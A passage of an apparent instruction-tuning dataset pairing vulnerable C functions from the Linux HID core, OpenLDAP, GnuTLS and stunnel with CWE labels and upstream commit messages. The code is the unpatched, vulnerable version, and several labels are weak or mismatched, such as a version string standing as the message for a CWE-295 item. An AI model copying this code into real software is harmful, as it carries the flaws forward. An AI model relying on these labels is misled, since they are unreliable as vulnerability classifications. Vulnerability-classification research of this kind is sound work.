map_key_clear(KEY_BASSBOOST);\tbreak;\n\t\tcase 0x0e9: map_key_clear(KEY_VOLUMEUP);\tbreak;\n\t\tcase 0x0ea: map_key_clear(KEY_VOLUMEDOWN);\tbreak;\n\t\tcase 0x0f5: map_key_clear(KEY_SLOW);\t\tbreak;\n\n\t\tcase 0x181: map_key_clear(KEY_BUTTONCONFIG);\tbreak;\n\t\tcase 0x182: map_key_clear(KEY_BOOKMARKS);\tbreak;\n\t\tcase 0x183: map_key_clear(KEY_CONFIG);\t\tbreak;\n\t\tcase 0x184: map_key_clear(KEY_WORDPROCESSOR);\tbreak;\n\t\tcase 0x185: map_key_clear(KEY_EDITOR);\t\tbreak;\n\t\tcase 0x186: map_key_clear(KEY_SPREADSHEET);\tbreak;\n\t\tcase 0x187: map_key_clear(KEY_GRAPHICSEDITOR);\tbreak;\n\t\tcase 0x188: map_key_clear(KEY_PRESENTATION);\tbreak;\n\t\tcase 0x189: map_key_clear(KEY_DATABASE);\tbreak;\n\t\tcase 0x18a: map_key_clear(KEY_MAIL);\t\tbreak;\n\t\tcase 0x18b: map_key_clear(KEY_NEWS);\t\tbreak;\n\t\tcase 0x18c: map_key_clear(KEY_VOICEMAIL);\tbreak;\n\t\tcase 0x18d: map_key_clear(KEY_ADDRESSBOOK);\tbreak;\n\t\tcase 0x18e: map_key_clear(KEY_CALENDAR);\tbreak;\n\t\tcase 0x18f: map_key_clear(KEY_TASKMANAGER);\tbreak;\n\t\tcase 0x190: map_key_clear(KEY_JOURNAL);\t\tbreak;\n\t\tcase 0x191: map_key_clear(KEY_FINANCE);\t\tbreak;\n\t\tcase 0x192: map_key_clear(KEY_CALC);\t\tbreak;\n\t\tcase 0x193: map_key_clear(KEY_PLAYER);\t\tbreak;\n\t\tcase 0x194: map_key_clear(KEY_FILE);\t\tbreak;\n\t\tcase 0x196: map_key_clear(KEY_WWW);\t\tbreak;\n\t\tcase 0x199: map_key_clear(KEY_CHAT);\t\tbreak;\n\t\tcase 0x19c: map_key_clear(KEY_LOGOFF);\t\tbreak;\n\t\tcase 0x19e: map_key_clear(KEY_COFFEE);\t\tbreak;\n\t\tcase 0x19f: map_key_clear(KEY_CONTROLPANEL);\t\tbreak;\n\t\tcase 0x1a2: map_key_clear(KEY_APPSELECT);\t\tbreak;\n\t\tcase 0x1a3: map_key_clear(KEY_NEXT);\t\tbreak;\n\t\tcase 0x1a4: map_key_clear(KEY_PREVIOUS);\tbreak;\n\t\tcase 0x1a6: map_key_clear(KEY_HELP);\t\tbreak;\n\t\tcase 0x1a7: map_key_clear(KEY_DOCUMENTS);\tbreak;\n\t\tcase 0x1ab: map_key_clear(KEY_SPELLCHECK);\tbreak;\n\t\tcase 0x1ae: map_key_clear(KEY_KEYBOARD);\tbreak;\n\t\tcase 0x1b1: map_key_clear(KEY_SCREENSAVER);\t\tbreak;\n\t\tcase 0x1b4: map_key_clear(KEY_FILE);\t\tbreak;\n\t\tcase 0x1b6: map_key_clear(KEY_IMAGES);\t\tbreak;\n\t\tcase 0x1b7: map_key_clear(KEY_AUDIO);\t\tbreak;\n\t\tcase 0x1b8: map_key_clear(KEY_VIDEO);\t\tbreak;\n\t\tcase 0x1bc: map_key_clear(KEY_MESSENGER);\tbreak;\n\t\tcase 0x1bd: map_key_clear(KEY_INFO);\t\tbreak;\n\t\tcase 0x1cb: map_key_clear(KEY_ASSISTANT);\tbreak;\n\t\tcase 0x201: map_key_clear(KEY_NEW);\t\tbreak;\n\t\tcase 0x202: map_key_clear(KEY_OPEN);\t\tbreak;\n\t\tcase 0x203: map_key_clear(KEY_CLOSE);\t\tbreak;\n\t\tcase 0x204: map_key_clear(KEY_EXIT);\t\tbreak;\n\t\tcase 0x207: map_key_clear(KEY_SAVE);\t\tbreak;\n\t\tcase 0x208: map_key_clear(KEY_PRINT);\t\tbreak;\n\t\tcase 0x209: map_key_clear(KEY_PROPS);\t\tbreak;\n\t\tcase 0x21a: map_key_clear(KEY_UNDO);\t\tbreak;\n\t\tcase 0x21b: map_key_clear(KEY_COPY);\t\tbreak;\n\t\tcase 0x21c: map_key_clear(KEY_CUT);\t\tbreak;\n\t\tcase 0x21d: map_key_clear(KEY_PASTE);\t\tbreak;\n\t\tcase 0x21f: map_key_clear(KEY_FIND);\t\tbreak;\n\t\tcase 0x221: map_key_clear(KEY_SEARCH);\t\tbreak;\n\t\tcase 0x222: map_key_clear(KEY_GOTO);\t\tbreak;\n\t\tcase 0x223: map_key_clear(KEY_HOMEPAGE);\tbreak;\n\t\tcase 0x224: map_key_clear(KEY_BACK);\t\tbreak;\n\t\tcase 0x225: map_key_clear(KEY_FORWARD);\t\tbreak;\n\t\tcase 0x226: map_key_clear(KEY_STOP);\t\tbreak;\n\t\tcase 0x227: map_key_clear(KEY_REFRESH);\t\tbreak;\n\t\tcase 0x22a: map_key_clear(KEY_BOOKMARKS);\tbreak;\n\t\tcase 0x22d: map_key_clear(KEY_ZOOMIN);\t\tbreak;\n\t\tcase 0x22e: map_key_clear(KEY_ZOOMOUT);\t\tbreak;\n\t\tcase 0x22f: map_key_clear(KEY_ZOOMRESET);\tbreak;\n\t\tcase 0x232: map_key_clear(KEY_FULL_SCREEN);\tbreak;\n\t\tcase 0x233: map_key_clear(KEY_SCROLLUP);\tbreak;\n\t\tcase 0x234: map_key_clear(KEY_SCROLLDOWN);\tbreak;\n\t\tcase 0x238: /* AC Pan */\n\t\t\tset_bit(REL_HWHEEL, input->relbit);\n\t\t\tmap_rel(REL_HWHEEL_HI_RES);\n\t\t\tbreak;\n\t\tcase 0x23d: map_key_clear(KEY_EDIT);\t\tbreak;\n\t\tcase 0x25f: map_key_clear(KEY_CANCEL);\t\tbreak;\n\t\tcase 0x269: map_key_clear(KEY_INSERT);\t\tbreak;\n\t\tcase 0x26a: map_key_clear(KEY_DELETE);\t\tbreak;\n\t\tcase 0x279: map_key_clear(KEY_REDO);\t\tbreak;\n\n\t\tcase 0x289: map_key_clear(KEY_REPLY);\t\tbreak;\n\t\tcase 0x28b: map_key_clear(KEY_FORWARDMAIL);\tbreak;\n\t\tcase 0x28c: map_key_clear(KEY_SEND);\t\tbreak;\n\n\t\tcase 0x29d: map_key_clear(KEY_KBD_LAYOUT_NEXT);\tbreak;\n\n\t\tcase 0x2c7: map_key_clear(KEY_KBDINPUTASSIST_PREV);\t\tbreak;\n\t\tcase 0x2c8: map_key_clear(KEY_KBDINPUTASSIST_NEXT);\t\tbreak;\n\t\tcase 0x2c9: map_key_clear(KEY_KBDINPUTASSIST_PREVGROUP);\t\tbreak;\n\t\tcase 0x2ca: map_key_clear(KEY_KBDINPUTASSIST_NEXTGROUP);\t\tbreak;\n\t\tcase 0x2cb: map_key_clear(KEY_KBDINPUTASSIST_ACCEPT);\tbreak;\n\t\tcase 0x2cc: map_key_clear(KEY_KBDINPUTASSIST_CANCEL);\tbreak;\n\n\t\tcase 0x29f: map_key_clear(KEY_SCALE);\t\tbreak;\n\n\t\tdefault: map_key_clear(KEY_UNKNOWN);\n\t\t}\n\t\tbreak;\n\n\tcase HID_UP_GENDEVCTRLS:\n\t\tswitch (usage->hid) {\n\t\tcase HID_DC_BATTERYSTRENGTH:\n\t\t\thidinput_setup_battery(device, HID_INPUT_REPORT, field);\n\t\t\tusage->type = EV_PWR;\n\t\t\tgoto ignore;\n\t\t}\n\t\tgoto unknown;\n\n\tcase HID_UP_HPVENDOR:\t/* Reported on a Dutch layout HP5308 */\n\t\tset_bit(EV_REP, input->evbit);\n\t\tswitch (usage->hid & HID_USAGE) {\n\t\tcase 0x021: map_key_clear(KEY_PRINT); break;\n\t\tcase 0x070: map_key_clear(KEY_HP);\t\tbreak;\n\t\tcase 0x071: map_key_clear(KEY_CAMERA);\t\tbreak;\n\t\tcase 0x072: map_key_clear(KEY_SOUND);\t\tbreak;\n\t\tcase 0x073: map_key_clear(KEY_QUESTION);\tbreak;\n\t\tcase 0x080: map_key_clear(KEY_EMAIL);\t\tbreak;\n\t\tcase 0x081: map_key_clear(KEY_CHAT);\t\tbreak;\n\t\tcase 0x082: map_key_clear(KEY_SEARCH);\t\tbreak;\n\t\tcase 0x083: map_key_clear(KEY_CONNECT);\t break;\n\t\tcase 0x084: map_key_clear(KEY_FINANCE);\t\tbreak;\n\t\tcase 0x085: map_key_clear(KEY_SPORT);\t\tbreak;\n\t\tcase 0x086: map_key_clear(KEY_SHOP);\t break;\n\t\tdefault: goto ignore;\n\t\t}\n\t\tbreak;\n\n\tcase HID_UP_HPVENDOR2:\n\t\tset_bit(EV_REP, input->evbit);\n\t\tswitch (usage->hid & HID_USAGE) {\n\t\tcase 0x001: map_key_clear(KEY_MICMUTE);\t\tbreak;\n\t\tcase 0x003: map_key_clear(KEY_BRIGHTNESSDOWN);\tbreak;\n\t\tcase 0x004: map_key_clear(KEY_BRIGHTNESSUP);\tbreak;\n\t\tdefault: goto ignore;\n\t\t}\n\t\tbreak;\n\n\tcase HID_UP_MSVENDOR:\n\t\tgoto ignore;\n\n\tcase HID_UP_CUSTOM: /* Reported on Logitech and Apple USB keyboards */\n\t\tset_bit(EV_REP, input->evbit);\n\t\tgoto ignore;\n\n\tcase HID_UP_LOGIVENDOR:\n\t\t/* intentional fallback */\n\tcase HID_UP_LOGIVENDOR2:\n\t\t/* intentional fallback */\n\tcase HID_UP_LOGIVENDOR3:\n\t\tgoto ignore;\n\n\tcase HID_UP_PID:\n\t\tswitch (usage->hid & HID_USAGE) {\n\t\tcase 0xa4: map_key_clear(BTN_DEAD);\tbreak;\n\t\tdefault: goto ignore;\n\t\t}\n\t\tbreak;\n\n\tdefault:\n\tunknown:\n\t\tif (field->report_size == 1) {\n\t\t\tif (field->report->type == HID_OUTPUT_REPORT) {\n\t\t\t\tmap_led(LED_MISC);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tmap_key(BTN_MISC);\n\t\t\tbreak;\n\t\t}\n\t\tif (field->flags & HID_MAIN_ITEM_RELATIVE) {\n\t\t\tmap_rel(REL_MISC);\n\t\t\tbreak;\n\t\t}\n\t\tmap_abs(ABS_MISC);\n\t\tbreak;\n\t}\n\nmapped:\n\tif (device->driver->input_mapped &&\n\t device->driver->input_mapped(device, hidinput, field, usage,\n\t\t\t\t\t &bit, &max) < 0) {\n\t\t/*\n\t\t * The driver indicated that no further generic handling\n\t\t * of the usage is desired.\n\t\t */\n\t\treturn;\n\t}\n\n\tset_bit(usage->type, input->evbit);\n\n\t/*\n\t * This part is *really* controversial:\n\t * - HID aims at being generic so we should do our best to export\n\t * all incoming events\n\t * - HID describes what events are, so there is no reason for ABS_X\n\t * to be mapped to ABS_Y\n\t * - HID is using *_MISC+N as a default value, but nothing prevents\n\t * *_MISC+N to overwrite a legitimate even, which confuses userspace\n\t * (for instance ABS_MISC + 7 is ABS_MT_SLOT, which has a different\n\t * processing)\n\t *\n\t * If devices still want to use this (at their own risk), they will\n\t * have to use the quirk HID_QUIRK_INCREMENT_USAGE_ON_DUPLICATE, but\n\t * the default should be a reliable mapping.\n\t */\n\twhile (usage->code <= max && test_and_set_bit(usage->code, bit)) {\n\t\tif (device->quirks & HID_QUIRK_INCREMENT_USAGE_ON_DUPLICATE) {\n\t\t\tusage->code = find_next_zero_bit(bit,\n\t\t\t\t\t\t\t max + 1,\n\t\t\t\t\t\t\t usage->code);\n\t\t} else {\n\t\t\tdevice->status |= HID_STAT_DUP_DETECTED;\n\t\t\tgoto ignore;\n\t\t}\n\t}\n\n\tif (usage->code > max)\n\t\tgoto ignore;\n\n\tif (usage->type == EV_ABS) {\n\n\t\tint a = field->logical_minimum;\n\t\tint b = field->logical_maximum;\n\n\t\tif ((device->quirks & HID_QUIRK_BADPAD) && (usage->code == ABS_X || usage->code == ABS_Y)) {\n\t\t\ta = field->logical_minimum = 0;\n\t\t\tb = field->logical_maximum = 255;\n\t\t}\n\n\t\tif (field->application == HID_GD_GAMEPAD || field->application == HID_GD_JOYSTICK)\n\t\t\tinput_set_abs_params(input, usage->code, a, b, (b - a) >> 8, (b - a) >> 4);\n\t\telse\tinput_set_abs_params(input, usage->code, a, b, 0, 0);\n\n\t\tinput_abs_set_res(input, usage->code,\n\t\t\t\t hidinput_calc_abs_res(field, usage->code));\n\n\t\t/* use a larger default input buffer for MT devices */\n\t\tif (usage->code == ABS_MT_POSITION_X && input->hint_events_per_packet == 0)\n\t\t\tinput_set_events_per_packet(input, 60);\n\t}\n\n\tif (usage->type == EV_ABS &&\n\t (usage->hat_min < usage->hat_max || usage->hat_dir)) {\n\t\tint i;\n\t\tfor (i = usage->code; i < usage->code + 2 && i <= max; i++) {\n\t\t\tinput_set_abs_params(input, i, -1, 1, 0, 0);\n\t\t\tset_bit(i, input->absbit);\n\t\t}\n\t\tif (usage->hat_dir && !field->dpad)\n\t\t\tfield->dpad = usage->code;\n\t}\n\n\t/* for those devices which produce Consumer volume usage as relative,\n\t * we emulate pressing volumeup/volumedown appropriate number of times\n\t * in hidinput_hid_event()\n\t */\n\tif ((usage->type == EV_ABS) && (field->flags & HID_MAIN_ITEM_RELATIVE) &&\n\t\t\t(usage->code == ABS_VOLUME)) {\n\t\tset_bit(KEY_VOLUMEUP, input->keybit);\n\t\tset_bit(KEY_VOLUMEDOWN, input->keybit);\n\t}\n\n\tif (usage->type == EV_KEY) {\n\t\tset_bit(EV_MSC, input->evbit);\n\t\tset_bit(MSC_SCAN, input->mscbit);\n\t}\n\n\treturn;\n\nignore:\n\tusage->type = 0;\n\tusage->code = 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'HID: core: Sanitize event code and type when mapping input\n\nWhen calling into hid_map_usage(), the passed event code is\nblindly stored as is, even if it doesn't fit in the associated bitmap.\n\nThis event code can come from a variety of sources, including devices\nmasquerading as input devices, only a bit more \"programmable\".\n\nInstead of taking the event code at face value, check that it actually\nfits the corresponding bitmap, and if it doesn't:\n- spit out a warning so that we know which device is acting up\n- NULLify the bitmap pointer so that we catch unexpected uses\n\nCode paths that can make use of untrusted inputs can now check\nthat the mapping was indeed correct and bail out if not.\n\nCc: stable@vger.kernel.org\nSigned-off-by: Marc Zyngier \nSigned-off-by: Benjamin Tissoires '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: authzPretty(\n\tSyntax *syntax,\n\tstruct berval *val,\n\tstruct berval *out,\n\tvoid *ctx)\n{\n\tint\t\trc;\n\n\tDebug( LDAP_DEBUG_TRACE, \">>> authzPretty: <%s>\\n\",\n\t\tval->bv_val, 0, 0 );\n\n\trc = authzPrettyNormal( val, out, ctx, 0 );\n\n\tDebug( LDAP_DEBUG_TRACE, \"<<< authzPretty: <%s> (%d)\\n\",\n\t\tout->bv_val, rc, 0 );\n\n\treturn rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-617'], 'message': 'ITS#9406 fix debug msg'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int cancel_extop( Operation *op, SlapReply *rs )\n{\n\tOperation *o;\n\tint rc;\n\tint opid;\n\tBerElementBuffer berbuf;\n\tBerElement *ber = (BerElement *)&berbuf;\n\n\tassert( ber_bvcmp( &slap_EXOP_CANCEL, &op->ore_reqoid ) == 0 );\n\n\tif ( op->ore_reqdata == NULL ) {\n\t\trs->sr_text = \"no message ID supplied\";\n\t\treturn LDAP_PROTOCOL_ERROR;\n\t}\n\n\tif ( op->ore_reqdata->bv_len == 0 ) {\n\t\trs->sr_text = \"empty request data field\";\n\t\treturn LDAP_PROTOCOL_ERROR;\n\t}\n\n\t/* ber_init2 uses reqdata directly, doesn't allocate new buffers */\n\tber_init2( ber, op->ore_reqdata, 0 );\n\n\tif ( ber_scanf( ber, \"{i}\", &opid ) == LBER_ERROR ) {\n\t\trs->sr_text = \"message ID parse failed\";\n\t\treturn LDAP_PROTOCOL_ERROR;\n\t}\n\n\tStatslog( LDAP_DEBUG_STATS, \"%s CANCEL msg=%d\\n\",\n\t\top->o_log_prefix, opid, 0, 0, 0 );\n\n\tif ( opid < 0 ) {\n\t\trs->sr_text = \"message ID invalid\";\n\t\treturn LDAP_PROTOCOL_ERROR;\n\t}\n\n\tldap_pvt_thread_mutex_lock( &op->o_conn->c_mutex );\n\n\tif ( op->o_abandon ) {\n\t\t/* FIXME: Should instead reject the cancel/abandon of this op, but\n\t\t * it seems unsafe to reset op->o_abandon once it is set. ITS#6138.\n\t\t */\n\t\trc = LDAP_OPERATIONS_ERROR;\n\t\trs->sr_text = \"tried to abandon or cancel this operation\";\n\t\tgoto out;\n\t}\n\n\tLDAP_STAILQ_FOREACH( o, &op->o_conn->c_pending_ops, o_next ) {\n\t\tif ( o->o_msgid == opid ) {\n\t\t\t/* TODO: We could instead remove the cancelled operation\n\t\t\t * from c_pending_ops like Abandon does, and send its\n\t\t\t * response here. Not if it is pending because of a\n\t\t\t * congested connection though.\n\t\t\t */\n\t\t\trc = LDAP_CANNOT_CANCEL;\n\t\t\trs->sr_text = \"too busy for Cancel, try Abandon instead\";\n\t\t\tgoto out;\n\t\t}\n\t}\n\n\tLDAP_STAILQ_FOREACH( o, &op->o_conn->c_ops, o_next ) {\n\t\tif ( o->o_msgid == opid ) {\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif ( o == NULL ) {\n\t \trc = LDAP_NO_SUCH_OPERATION;\n\t\trs->sr_text = \"message ID not found\";\n\n\t} else if ( o->o_tag == LDAP_REQ_BIND\n\t\t\t|| o->o_tag == LDAP_REQ_UNBIND\n\t\t\t|| o->o_tag == LDAP_REQ_ABANDON ) {\n\t\trc = LDAP_CANNOT_CANCEL;\n\n\t} else if ( o->o_cancel != SLAP_CANCEL_NONE ) {\n\t\trc = LDAP_OPERATIONS_ERROR;\n\t\trs->sr_text = \"message ID already being cancelled\";\n\n#if 0\n\t} else if ( o->o_abandon ) {\n\t\t/* TODO: Would this break something when\n\t\t * o_abandon=\"suppress response\"? (ITS#6138)\n\t\t */\n\t\trc = LDAP_TOO_LATE;\n#endif\n\n\t} else {\n\t\trc = LDAP_SUCCESS;\n\t\to->o_cancel = SLAP_CANCEL_REQ;\n\t\to->o_abandon = 1;\n\t}\n\n out:\n\tldap_pvt_thread_mutex_unlock( &op->o_conn->c_mutex );\n\n\tif ( rc == LDAP_SUCCESS ) {\n\t\tLDAP_STAILQ_FOREACH( op->o_bd, &backendDB, be_next ) {\n\t\t\tif( !op->o_bd->be_cancel ) continue;\n\n\t\t\top->oq_cancel.rs_msgid = opid;\n\t\t\tif ( op->o_bd->be_cancel( op, rs ) == LDAP_SUCCESS ) {\n\t\t\t\treturn LDAP_SUCCESS;\n\t\t\t}\n\t\t}\n\n\t\tdo {\n\t\t\t/* Fake a cond_wait with thread_yield, then\n\t\t\t * verify the result properly mutex-protected.\n\t\t\t */\n\t\t\twhile ( o->o_cancel == SLAP_CANCEL_REQ )\n\t\t\t\tldap_pvt_thread_yield();\n\t\t\tldap_pvt_thread_mutex_lock( &op->o_conn->c_mutex );\n\t\t\trc = o->o_cancel;\n\t\t\tldap_pvt_thread_mutex_unlock( &op->o_conn->c_mutex );\n\t\t} while ( rc == SLAP_CANCEL_REQ );\n\n\t\tif ( rc == SLAP_CANCEL_ACK ) {\n\t\t\trc = LDAP_SUCCESS;\n\t\t}\n\n\t\to->o_cancel = SLAP_CANCEL_DONE;\n\t}\n\n\treturn rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-835'], 'message': 'ITS#9428 fix cancel exop'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: key_share_send_params(gnutls_session_t session,\n\t\t gnutls_buffer_st * extdata)\n{\n\tunsigned i;\n\tint ret;\n\tunsigned char *lengthp;\n\tunsigned int cur_length;\n\tunsigned int generated = 0;\n\tconst gnutls_group_entry_st *group;\n\tconst version_entry_st *ver;\n\n\t/* this extension is only being sent on client side */\n\tif (session->security_parameters.entity == GNUTLS_CLIENT) {\n\t\tver = _gnutls_version_max(session);\n\t\tif (unlikely(ver == NULL || ver->key_shares == 0))\n\t\t\treturn 0;\n\n\t\tif (!have_creds_for_tls13(session))\n\t\t\treturn 0;\n\n\t\t/* write the total length later */\n\t\tlengthp = &extdata->data[extdata->length];\n\n\t\tret =\n\t\t _gnutls_buffer_append_prefix(extdata, 16, 0);\n\t\tif (ret < 0)\n\t\t\treturn gnutls_assert_val(ret);\n\n\t\tcur_length = extdata->length;\n\n\t\tif (session->internals.hsk_flags & HSK_HRR_RECEIVED) { /* we know the group */\n\t\t\tgroup = get_group(session);\n\t\t\tif (unlikely(group == NULL))\n\t\t\t\treturn gnutls_assert_val(GNUTLS_E_RECEIVED_ILLEGAL_PARAMETER);\n\n\t\t\tret = client_gen_key_share(session, group, extdata);\n\t\t\tif (ret == GNUTLS_E_INT_RET_0)\n\t\t\t\treturn gnutls_assert_val(GNUTLS_E_NO_COMMON_KEY_SHARE);\n\t\t\tif (ret < 0)\n\t\t\t\treturn gnutls_assert_val(ret);\n\t\t} else {\n\t\t\tgnutls_pk_algorithm_t selected_groups[3];\n\t\t\tunsigned max_groups = 2; /* GNUTLS_KEY_SHARE_TOP2 */\n\n\t\t\tif (session->internals.flags & GNUTLS_KEY_SHARE_TOP)\n\t\t\t\tmax_groups = 1;\n\t\t\telse if (session->internals.flags & GNUTLS_KEY_SHARE_TOP3)\n\t\t\t\tmax_groups = 3;\n\n\t\t\tassert(max_groups <= sizeof(selected_groups)/sizeof(selected_groups[0]));\n\n\t\t\t/* generate key shares for out top-(max_groups) groups\n\t\t\t * if they are of different PK type. */\n\t\t\tfor (i = 0; i < session->internals.priorities->groups.size; i++) {\n\t\t\t\tgroup = session->internals.priorities->groups.entry[i];\n\n\t\t\t\tif (generated == 1 && group->pk == selected_groups[0])\n\t\t\t\t\tcontinue;\n\t\t\t\telse if (generated == 2 && (group->pk == selected_groups[1] || group->pk == selected_groups[0]))\n\t\t\t\t\tcontinue;\n\n\t\t\t\tselected_groups[generated] = group->pk;\n\n\t\t\t\tret = client_gen_key_share(session, group, extdata);\n\t\t\t\tif (ret == GNUTLS_E_INT_RET_0)\n\t\t\t\t\tcontinue; /* no key share for this algorithm */\n\t\t\t\tif (ret < 0)\n\t\t\t\t\treturn gnutls_assert_val(ret);\n\n\t\t\t\tgenerated++;\n\n\t\t\t\tif (generated >= max_groups)\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\t/* copy actual length */\n\t\t_gnutls_write_uint16(extdata->length - cur_length, lengthp);\n\n\t} else { /* server */\n\t\tver = get_version(session);\n\t\tif (unlikely(ver == NULL || ver->key_shares == 0))\n\t\t\treturn gnutls_assert_val(0);\n\n\t\tif (_gnutls_ext_get_msg(session) == GNUTLS_EXT_FLAG_HRR) {\n\t\t\tgroup = session->internals.cand_group;\n\n\t\t\tif (group == NULL)\n\t\t\t\treturn gnutls_assert_val(GNUTLS_E_NO_COMMON_KEY_SHARE);\n\n\t\t\t_gnutls_session_group_set(session, group);\n\n\t\t\t_gnutls_handshake_log(\"EXT[%p]: requesting retry with group %s\\n\", session, group->name);\n\t\t\tret =\n\t\t\t _gnutls_buffer_append_prefix(extdata, 16, group->tls_id);\n\t\t\tif (ret < 0)\n\t\t\t\treturn gnutls_assert_val(ret);\n\t\t} else {\n\t\t\t/* if we are negotiating PSK without DH, do not send a key share */\n\t\t\tif ((session->internals.hsk_flags & HSK_PSK_SELECTED) &&\n\t\t\t (session->internals.hsk_flags & HSK_PSK_KE_MODE_PSK))\n\t\t\t\treturn gnutls_assert_val(0);\n\n\t\t\tgroup = get_group(session);\n\t\t\tif (unlikely(group == NULL))\n\t\t\t\treturn gnutls_assert_val(GNUTLS_E_RECEIVED_ILLEGAL_PARAMETER);\n\n\t\t\tret = server_gen_key_share(session, group, extdata);\n\t\t\tif (ret < 0)\n\t\t\t\treturn gnutls_assert_val(ret);\n\t\t}\n\n\t\tsession->internals.hsk_flags |= HSK_KEY_SHARE_SENT;\n\t}\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'key_share: avoid use-after-free around realloc\n\nSigned-off-by: Daiki Ueno '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int DH_set0_pqg(DH *dh, BIGNUM *p, BIGNUM *q, BIGNUM *g) {\n if(!p || !g) /* q is optional */\n return 0;\n BN_free(dh->p);\n BN_free(dh->q);\n BN_free(dh->g);\n dh->p = p;\n dh->q = q;\n dh->g = g;\n if(q)\n dh->length = BN_num_bits(q);\n return 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-295'], 'message': 'stunnel-5.57'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: NOEXPORT char *parse_service_option(CMD cmd, SERVICE_OPTIONS **section_ptr,\n char *opt, char *arg) {\n SERVICE_OPTIONS *section;\n int endpoints=0;\n#ifndef USE_WIN32\n struct group *gr;\n struct passwd *pw;\n#endif\n\n section=section_ptr ? *section_ptr : NULL;\n\n if(cmd==CMD_SET_DEFAULTS || cmd==CMD_SET_COPY) {\n section->ref=1;\n } else if(cmd==CMD_FREE) {\n if(section==&service_options || section==&new_service_options)\n s_log(LOG_DEBUG, \"Deallocating section defaults\");\n else\n s_log(LOG_DEBUG, \"Deallocating section [%s]\", section->servname);\n } else if(cmd==CMD_PRINT_DEFAULTS || cmd==CMD_PRINT_HELP) {\n s_log(LOG_NOTICE, \" \");\n s_log(LOG_NOTICE, \"Service-level options:\");\n }\n\n /* accept */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n addrlist_clear(§ion->local_addr, 1);\n section->local_fd=NULL;\n break;\n case CMD_SET_COPY:\n addrlist_clear(§ion->local_addr, 1);\n section->local_fd=NULL;\n name_list_dup(§ion->local_addr.names,\n new_service_options.local_addr.names);\n break;\n case CMD_FREE:\n name_list_free(section->local_addr.names);\n str_free(section->local_addr.addr);\n str_free(section->local_fd);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"accept\"))\n break;\n section->option.accept=1;\n name_list_append(§ion->local_addr.names, arg);\n return NULL; /* OK */\n case CMD_INITIALIZE:\n if(section->local_addr.names) {\n unsigned i;\n if(!addrlist_resolve(§ion->local_addr))\n return \"Cannot resolve accept target\";\n section->local_fd=str_alloc_detached(section->local_addr.num*sizeof(SOCKET));\n for(i=0; ilocal_addr.num; ++i)\n section->local_fd[i]=INVALID_SOCKET;\n ++endpoints;\n }\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = [host:]port accept connections on specified host:port\",\n \"accept\");\n break;\n }\n\n /* CApath */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n#if 0\n section->ca_dir=(char *)X509_get_default_cert_dir();\n#endif\n section->ca_dir=NULL;\n break;\n case CMD_SET_COPY:\n section->ca_dir=str_dup_detached(new_service_options.ca_dir);\n break;\n case CMD_FREE:\n str_free(section->ca_dir);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"CApath\"))\n break;\n str_free(section->ca_dir);\n if(arg[0]) /* not empty */\n section->ca_dir=str_dup_detached(arg);\n else\n section->ca_dir=NULL;\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n#if 0\n s_log(LOG_NOTICE, \"%-22s = %s\", \"CApath\",\n section->ca_dir ? section->ca_dir : \"(none)\");\n#endif\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = CA certificate directory for 'verify' option\",\n \"CApath\");\n break;\n }\n\n /* CAfile */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n#if 0\n section->ca_file=(char *)X509_get_default_certfile();\n#endif\n section->ca_file=NULL;\n break;\n case CMD_SET_COPY:\n section->ca_file=str_dup_detached(new_service_options.ca_file);\n break;\n case CMD_FREE:\n str_free(section->ca_file);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"CAfile\"))\n break;\n str_free(section->ca_file);\n if(arg[0]) /* not empty */\n section->ca_file=str_dup_detached(arg);\n else\n section->ca_file=NULL;\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n#if 0\n s_log(LOG_NOTICE, \"%-22s = %s\", \"CAfile\",\n section->ca_file ? section->ca_file : \"(none)\");\n#endif\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = CA certificate file for 'verify' option\",\n \"CAfile\");\n break;\n }\n\n /* cert */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->cert=NULL;\n break;\n case CMD_SET_COPY:\n section->cert=str_dup_detached(new_service_options.cert);\n break;\n case CMD_FREE:\n str_free(section->cert);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"cert\"))\n break;\n str_free(section->cert);\n 